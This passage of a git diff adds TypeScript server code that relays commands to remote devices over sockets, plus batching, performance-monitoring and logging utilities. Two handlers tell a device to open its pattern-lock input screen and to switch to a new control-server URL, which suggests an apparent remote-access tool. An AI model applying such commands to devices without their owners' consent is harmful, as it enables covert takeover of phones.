this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 向设备发送打开图形密码输入界面的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'OPEN_PATTERN_LOCK', + deviceId, + data: {}, + timestamp: Date.now() + }) + + this.logger.info(`✅ 已发送打开图形密码输入界面命令到设备 ${deviceId}`) + + // 向客户端发送响应 + this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { + deviceId, + success: true, + message: '打开图形密码输入界面命令已发送' + }) + + return true + } + } + + this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error(`打开图形密码输入界面失败:`, error) + this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { + deviceId, + success: false, + message: '打开图形密码输入界面失败' + }) + return false + } + } + + /** + * 处理修改服务器地址请求 + */ + private handleChangeServerUrl(clientId: string, deviceId: string, data: any): boolean { + try { + this.logger.info(`🌐 修改服务器地址: 客户端=${clientId}, 设备=${deviceId}`) + + // 检查设备是否存在且在线 + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'change_server_url_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + // 检查客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'change_server_url_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 验证服务器地址数据 + if (!data || !data.serverUrl || typeof data.serverUrl !== 'string' || data.serverUrl.trim() === '') { + this.logger.warn(`⚠️ 无效的服务器地址: ${data?.serverUrl}`) + this.webClientManager.sendToClient(clientId, 'change_server_url_response', { + deviceId, + success: false, + message: '服务器地址无效,应为非空字符串' + }) + return false + } + + // 向设备发送修改服务器地址的控制命令 + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'CHANGE_SERVER_URL', + deviceId, + data: { + serverUrl: data.serverUrl.trim() + }, + timestamp: Date.now() + }) + + this.logger.info(`✅ 已发送修改服务器地址命令到设备 ${deviceId}: ${data.serverUrl}`) + + // 向客户端发送响应 + this.webClientManager.sendToClient(clientId, 'change_server_url_response', { + deviceId, + success: true, + message: '命令已发送', + serverUrl: data.serverUrl + }) + + return true + } + } + + this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) + this.webClientManager.sendToClient(clientId, 'change_server_url_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error(`修改服务器地址失败:`, error) + this.webClientManager.sendToClient(clientId, 'change_server_url_response', { + deviceId, + success: false, + message: '修改服务器地址失败' + }) + return false + } + } +} + +export default MessageRouter \ No newline at end of file diff --git a/src/services/OptimizationService.ts b/src/services/OptimizationService.ts new file mode 100644 index 0000000..c1917be --- /dev/null +++ b/src/services/OptimizationService.ts @@ -0,0 +1,180 @@ +import Logger from '../utils/Logger' + +/** + * 消息批处理和缓存优化服务 + */ +export class OptimizationService { + private logger = new Logger('OptimizationService') + + // 消息批处理队列 + private messageQueues: Map = new Map() + private flushTimers: Map = new Map() + + // 缓存配置 + private readonly BATCH_SIZE = 10 + private readonly BATCH_TIMEOUT = 50 // 50ms + private readonly CACHE_TTL = 60000 // 1分钟 + + // 查询缓存 + private queryCache: Map = new Map() + + constructor() { + this.startCacheCleanup() + } + + /** + * 队列消息用于批处理 + */ + queueMessage(clientId: string, event: string, data: any): void { + if (!this.messageQueues.has(clientId)) { + this.messageQueues.set(clientId, []) + } + + const queue = this.messageQueues.get(clientId)! + queue.push({ event, data, timestamp: Date.now() }) + + // 如果达到批处理大小,立即发送 + if (queue.length >= this.BATCH_SIZE) { + this.flushQueue(clientId) + } else if (!this.flushTimers.has(clientId)) { + // 设置超时发送 + const timer = setTimeout(() => this.flushQueue(clientId), this.BATCH_TIMEOUT) + this.flushTimers.set(clientId, timer) + } + } + + /** + * 立即发送队列中的消息 + */ + flushQueue(clientId: string, callback?: (messages: QueuedMessage[]) => void): void { + const queue = this.messageQueues.get(clientId) + if (!queue || queue.length === 0) return + + // 清除定时器 + const timer = this.flushTimers.get(clientId) + if (timer) { + clearTimeout(timer) + this.flushTimers.delete(clientId) + } + + // 调用回调函数发送消息 + if (callback) { + callback(queue) + } + + // 清空队列 + this.messageQueues.delete(clientId) + } + + /** + * 获取所有待发送消息 + */ + getPendingMessages(clientId: string): QueuedMessage[] { + return this.messageQueues.get(clientId) || [] + } + + /** + * 缓存查询结果 + */ + cacheQuery(key: string, data: any): void { + this.queryCache.set(key, { + data, + timestamp: Date.now() + }) + } + + /** + * 获取缓存的查询结果 + */ + getCachedQuery(key: string): any | null { + const cached = this.queryCache.get(key) + if (!cached) return null + + // 检查缓存是否过期 + if (Date.now() - cached.timestamp > this.CACHE_TTL) { + this.queryCache.delete(key) + return null + } + + return cached.data + } + + /** + * 清除特定缓存 + */ + invalidateCache(key: string): void { + this.queryCache.delete(key) + } + + /** + * 清除所有缓存 + */ + clearAllCache(): void { + this.queryCache.clear() + } + + /** + * 定期清理过期缓存 + */ + private startCacheCleanup(): void { + setInterval(() => { + const now = Date.now() + let cleanedCount = 0 + + for (const [key, value] of this.queryCache.entries()) { + if (now - value.timestamp > this.CACHE_TTL) { + this.queryCache.delete(key) + cleanedCount++ + } + } + + if (cleanedCount > 0) { + this.logger.debug(`🧹 清理过期缓存: ${cleanedCount}条`) + } + }, 30000) // 每30秒检查一次 + } + + /** + * 获取优化统计信息 + */ + getStats(): OptimizationStats { + return { + queuedClients: this.messageQueues.size, + totalQueuedMessages: Array.from(this.messageQueues.values()).reduce((sum, q) => sum + q.length, 0), + cachedQueries: this.queryCache.size, + activeBatchTimers: this.flushTimers.size + } + } + + /** + * 清理资源 + */ + destroy(): void { + // 清理所有定时器 + for (const timer of this.flushTimers.values()) { + clearTimeout(timer) + } + this.flushTimers.clear() + this.messageQueues.clear() + this.queryCache.clear() + } +} + +/** + * 队列消息接口 + */ +export interface QueuedMessage { + event: string + data: any + timestamp: number +} + +/** + * 优化统计信息 + */ +export interface OptimizationStats { + queuedClients: number + totalQueuedMessages: number + cachedQueries: number + activeBatchTimers: number +} diff --git a/src/services/PerformanceMonitorService.ts b/src/services/PerformanceMonitorService.ts new file mode 100644 index 0000000..ec4e79b --- /dev/null +++ b/src/services/PerformanceMonitorService.ts @@ -0,0 +1,341 @@ +import Logger from '../utils/Logger' + +/** + * 性能指标接口 + */ +export interface PerformanceMetrics { + timestamp: number + memoryUsage: MemoryMetrics + connectionMetrics: ConnectionMetrics + messageMetrics: MessageMetrics + systemMetrics: SystemMetrics +} + +/** + * 内存指标 + */ +export interface MemoryMetrics { + heapUsed: number // MB + heapTotal: number // MB + external: number // MB + rss: number // MB + heapUsedPercent: number +} + +/** + * 连接指标 + */ +export interface ConnectionMetrics { + totalConnections: number + activeConnections: number + idleConnections: number + newConnectionsPerMinute: number + disconnectionsPerMinute: number +} + +/** + * 消息指标 + */ +export interface MessageMetrics { + messagesPerSecond: number + averageLatency: number // ms + p95Latency: number // ms + p99Latency: number // ms + errorRate: number // % +} + +/** + * 系统指标 + */ +export interface SystemMetrics { + uptime: number // seconds + cpuUsage: number // % + eventLoopLag: number // ms +} + +/** + * 性能监控服务 + */ +export class PerformanceMonitorService { + private logger = new Logger('PerformanceMonitor') + + // 指标收集 + private metrics: PerformanceMetrics[] = [] + private readonly MAX_METRICS_HISTORY = 60 // 保留最近60条记录 + + // 消息延迟追踪 + private messageLatencies: number[] = [] + private readonly MAX_LATENCY_SAMPLES = 1000 + + // 连接统计 + private connectionsPerMinute = 0 + private disconnectionsPerMinute = 0 + private lastConnectionCount = 0 + + // 消息统计 + private messagesThisSecond = 0 + private messagesLastSecond = 0 + private errorsThisSecond = 0 + private errorsLastSecond = 0 + + // 事件循环监控 + private lastEventLoopCheck = Date.now() + private eventLoopLag = 0 + + constructor() { + this.startMonitoring() + } + + /** + * 记录消息延迟 + */ + recordMessageLatency(latency: number): void { + this.messageLatencies.push(latency) + if (this.messageLatencies.length > this.MAX_LATENCY_SAMPLES) { + this.messageLatencies.shift() + } + } + + /** + * 记录消息 + */ + recordMessage(): void { + this.messagesThisSecond++ + } + + /** + * 记录错误 + */ + recordError(): void { + this.errorsThisSecond++ + } + + /** + * 记录连接 + */ + recordConnection(): void { + this.connectionsPerMinute++ + } + + /** + * 记录断开连接 + */ + recordDisconnection(): void { + this.disconnectionsPerMinute++ + } + + /** + * 获取当前性能指标 + */ + getCurrentMetrics(): PerformanceMetrics { + const memUsage = process.memoryUsage() + const heapUsedMB = Math.round(memUsage.heapUsed / 1024 / 1024) + const heapTotalMB = Math.round(memUsage.heapTotal / 1024 / 1024) + const externalMB = Math.round(memUsage.external / 1024 / 1024) + const rssMB = Math.round(memUsage.rss / 1024 / 1024) + + const metrics: PerformanceMetrics = { + timestamp: Date.now(), + memoryUsage: { + heapUsed: heapUsedMB, + heapTotal: heapTotalMB, + external: externalMB, + rss: rssMB, + heapUsedPercent: Math.round((heapUsedMB / heapTotalMB) * 100) + }, + connectionMetrics: { + totalConnections: 0, // 由调用者设置 + activeConnections: 0, + idleConnections: 0, + newConnectionsPerMinute: this.connectionsPerMinute, + disconnectionsPerMinute: this.disconnectionsPerMinute + }, + messageMetrics: { + messagesPerSecond: this.messagesLastSecond, + averageLatency: this.calculateAverageLatency(), + p95Latency: this.calculatePercentileLatency(95), + p99Latency: this.calculatePercentileLatency(99), + errorRate: this.messagesLastSecond > 0 + ? Math.round((this.errorsLastSecond / this.messagesLastSecond) * 100 * 100) / 100 + : 0 + }, + systemMetrics: { + uptime: Math.round(process.uptime()), + cpuUsage: this.calculateCpuUsage(), + eventLoopLag: this.eventLoopLag + } + } + + return metrics + } + + /** + * 计算平均延迟 + */ + private calculateAverageLatency(): number { + if (this.messageLatencies.length === 0) return 0 + const sum = this.messageLatencies.reduce((a, b) => a + b, 0) + return Math.round(sum / this.messageLatencies.length * 100) / 100 + } + + /** + * 计算百分位延迟 + */ + private calculatePercentileLatency(percentile: number): number { + if (this.messageLatencies.length === 0) return 0 + const sorted = [...this.messageLatencies].sort((a, b) => a - b) + const index = Math.ceil((percentile / 100) * sorted.length) - 1 + return sorted[Math.max(0, index)] + } + + /** + * 计算CPU使用率 (简化版) + */ + private calculateCpuUsage(): number { + // 这是一个简化的实现,实际应该使用 os.cpus() 或专门的库 + const usage = process.cpuUsage() + return Math.round((usage.user + usage.system) / 1000000 * 100) / 100 + } + + /** + * 启动监控任务 + */ + private startMonitoring(): void { + // 每秒更新消息统计 + setInterval(() => { + this.messagesLastSecond = this.messagesThisSecond + this.errorsLastSecond = this.errorsThisSecond + this.messagesThisSecond = 0 + this.errorsThisSecond = 0 + }, 1000) + + // 每分钟重置连接统计 + setInterval(() => { + this.connectionsPerMinute = 0 + this.disconnectionsPerMinute = 0 + }, 60000) + + // 每10秒收集一次完整指标 + setInterval(() => { + const metrics = this.getCurrentMetrics() + this.metrics.push(metrics) + + if (this.metrics.length > this.MAX_METRICS_HISTORY) { + this.metrics.shift() + } + + this.logMetrics(metrics) + }, 10000) + + // 监控事件循环延迟 + this.monitorEventLoopLag() + } + + /** + * 监控事件循环延迟 + */ + private monitorEventLoopLag(): void { + let lastCheck = Date.now() + + setInterval(() => { + const now = Date.now() + const expectedDelay = 1000 // 1秒 + const actualDelay = now - lastCheck + this.eventLoopLag = Math.max(0, actualDelay - expectedDelay) + lastCheck = now + }, 1000) + } + + /** + * 输出指标日志 + */ + private logMetrics(metrics: PerformanceMetrics): void { + const mem = metrics.memoryUsage + const msg = metrics.messageMetrics + const conn = metrics.connectionMetrics + const sys = metrics.systemMetrics + + this.logger.info(` +📊 性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}): + 💾 内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB + 📨 消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}% + 🔌 连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min + ⚙️ 系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms + `) + } + + /** + * 获取历史指标 + */ + getMetricsHistory(limit: number = 10): PerformanceMetrics[] { + return this.metrics.slice(-limit) + } + + /** + * 获取性能警告 + */ + getPerformanceWarnings(): string[] { + const warnings: string[] = [] + const latest = this.metrics[this.metrics.length - 1] + + if (!latest) return warnings + + // 内存警告 + if (latest.memoryUsage.heapUsedPercent > 80) { + warnings.push(`⚠️ 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`) + } + + // 延迟警告 + if (latest.messageMetrics.p99Latency > 500) { + warnings.push(`⚠️ 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`) + } + + // 错误率警告 + if (latest.messageMetrics.errorRate > 5) { + warnings.push(`⚠️ 错误率过高: ${latest.messageMetrics.errorRate}%`) + } + + // 事件循环延迟警告 + if (latest.systemMetrics.eventLoopLag > 100) { + warnings.push(`⚠️ 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`) + } + + return warnings + } + + /** + * 获取性能报告 + */ + getPerformanceReport(): string { + const warnings = this.getPerformanceWarnings() + const latest = this.metrics[this.metrics.length - 1] + + if (!latest) return '暂无数据' + + let report = '📈 性能报告\n' + report += '='.repeat(50) + '\n' + report += `时间: ${new Date(latest.timestamp).toLocaleString()}\n` + report += `内存: ${latest.memoryUsage.heapUsed}MB / ${latest.memoryUsage.heapTotal}MB\n` + report += `消息吞吐: ${latest.messageMetrics.messagesPerSecond}/s\n` + report += `平均延迟: ${latest.messageMetrics.averageLatency}ms\n` + report += `连接数: ${latest.connectionMetrics.totalConnections}\n` + report += `运行时间: ${latest.systemMetrics.uptime}s\n` + + if (warnings.length > 0) { + report += '\n⚠️ 警告:\n' + warnings.forEach(w => report += ` ${w}\n`) + } else { + report += '\n✅ 系统运行正常\n' + } + + return report + } + + /** + * 清理资源 + */ + destroy(): void { + this.metrics = [] + this.messageLatencies = [] + } +} diff --git a/src/utils/Logger.ts b/src/utils/Logger.ts new file mode 100644 index 0000000..a0c46d9 --- /dev/null +++ b/src/utils/Logger.ts @@ -0,0 +1,45 @@ +/** + * 日志工具类 + */ +class Logger { + private prefix: string + + constructor(prefix: string = 'App') { + this.prefix = prefix + } + + private formatMessage(level: string, message: string, ...args: any[]): string { + const timestamp = new Date().toISOString() + const formattedArgs = args.length > 0 ? ' ' + args.map(arg => + typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg) + ).join(' ') : '' + + return `[${timestamp}] [${level}] [${this.prefix}] ${message}${formattedArgs}` + } + + info(message: string, ...args: any[]): void { + console.log(this.formatMessage('INFO', message, ...args)) + } + + warn(message: string, ...args: any[]): void { + console.warn(this.formatMessage('WARN', message, ...args)) + } + + error(message: string, ...args: any[]): void { + console.error(this.formatMessage('ERROR', message, ...args)) + } + + debug(message: string, ...args: any[]): void { + if (process.env.NODE_ENV === 'development') { + console.debug(this.formatMessage('DEBUG', message, ...args)) + } + } + + trace(message: string, ...args: any[]): void { + if (process.env.NODE_ENV === 'development') { + console.trace(this.formatMessage('TRACE', message, ...args)) + } + } +} + +export default Logger \ No newline at end of file diff --git a/tsconfig.json b/tsconfig.json new file mode 100644 index 0000000..999ad87 --- /dev/null +++ b/tsconfig.json @@ -0,0 +1,35 @@ +{ + "compilerOptions": { + "target": "ES2020", + "module": "commonjs", + "lib": ["ES2020"], + "outDir": "./dist", + "rootDir": "./src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "removeComments": false, + "noImplicitAny": true, + "strictNullChecks": true, + "strictFunctionTypes": true, + "noImplicitThis": true, + "noImplicitReturns": true, + "noFallthroughCasesInSwitch": true, + "moduleResolution": "node", + "allowSyntheticDefaultImports": true, + "experimentalDecorators": true, + "emitDecoratorMetadata": true + }, + "include": [ + "src/**/*" + ], + "exclude": [ + "node_modules", + "dist" + ] +} \ No newline at end of file